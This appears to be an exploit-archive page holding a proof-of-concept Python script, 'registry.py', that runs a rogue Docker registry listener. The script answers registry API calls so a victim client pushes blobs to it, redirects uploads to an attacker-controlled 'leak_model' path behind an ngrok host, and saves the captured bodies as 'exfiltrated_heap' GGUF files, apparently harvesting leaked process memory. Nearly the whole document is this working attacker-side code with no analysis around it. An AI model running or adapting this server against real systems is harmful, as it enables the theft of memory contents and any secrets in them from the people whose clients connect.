5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / registry.py PY
#!/usr/bin/env python3
import socket
import threading
import time
import os

os.makedirs("exfils", exist_ok=True)

def handle_client(client_socket):
    try:
        # 3-second timeout ensures we slurp all data without hanging indefinitely
        client_socket.settimeout(3.0)
        request = b""
        
        while b"\r\n\r\n" not in request:
            try:
                req_chunk = client_socket.recv(4096)
                if not req_chunk:
                    break
                request += req_chunk
            except socket.timeout:
                break

        if not request:
            return

        headers_part = request.split(b"\r\n\r\n")[0]
        headers = headers_part.decode('utf-8', errors='ignore')
        method_line = headers.split('\r\n')[0]

        print(f"[*] Received request: {method_line}")

        # CRITICAL FIX: Handle Go's Expect: 100-continue requirement
        if "expect: 100-continue" in headers.lower():
            client_socket.send(b"HTTP/1.1 100 Continue\r\n\r\n")

        if "HEAD" in method_line and "/blobs/" in method_line:
            response = b"HTTP/1.1 404 Not Found\r\n"
            response += b"Content-Length: 0\r\n"
            response += b"Docker-Distribution-Api-Version: registry/2.0\r\n\r\n"
            client_socket.send(response)

        elif "POST" in method_line and "/blobs/uploads/" in method_line:
            host_header = ""
            for line in headers.split('\r\n'):
                if line.lower().startswith('host:'):
                    host_header = line.split(':', 1)[1].strip()
                    break
            
            response = b"HTTP/1.1 202 Accepted\r\n"
            response += b"Content-Length: 0\r\n"
            response += b"Docker-Distribution-Api-Version: registry/2.0\r\n"
            # Force the Location header to match ngrok's schema
            if host_header:
                response += f"Location: https://{host_header}/v2/attacker/leak_model/blobs/uploads/1234-5678\r\n".encode()
            else:
                response += b"Location: /v2/attacker/leak_model/blobs/uploads/1234-5678\r\n"
            response += b"\r\n"
            client_socket.send(response)

        elif "PATCH" in method_line or "PUT" in method_line:
            print(f"[+] {method_line.split()[0]} request received! Slurping payload via socket timeout...")
            
            body = request[len(headers_part)+4:]
            while True:
                try:
                    chunk = client_socket.recv(8192)
                    if not chunk:
                        break
                    body += chunk
                except socket.timeout:
                    # Timeout reached, assume stream is complete
                    break 

            # Acknowledge upload completion only AFTER reading the stream
            response = b"HTTP/1.1 201 Created\r\n"
            response += b"Content-Length: 0\r\n"
            response += b"Docker-Distribution-Api-Version: registry/2.0\r\n\r\n"
            client_socket.send(response)

            filename = f"exfils/exfiltrated_heap_{int(time.time()*1000)}.gguf"
            if len(body) > 0:
                print(f"[+] Successfully captured {len(body)} bytes! Saving to '{filename}'")
                with open(filename, "wb") as f:
                    f.write(body)
            else:
                print("[-] Ignored 0 byte payload.")
        else:
            # Catch-all for standard registry endpoints
            response = b"HTTP/1.1 200 OK\r\n"
            response += b"Content-Length: 0\r\n"
            response += b"Docker-Distribution-Api-Version: registry/2.0\r\n\r\n"
            client_socket.send(response)

    except Exception as e:
        print(f"[-] Socket error: {e}")
    finally:
        client_socket.close()

def start_server(port=80):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(("0.0.0.0", port))
    server.listen(5)
    print(f"[*] Rogue Registry listener started on 0.0.0.0:{port}")

    while True:
        client, addr = server.accept()
        client_handler = threading.Thread(target=handle_client, args=(client,))
        client_handler.start()

if __name__ == "__main__":
    start_server(80)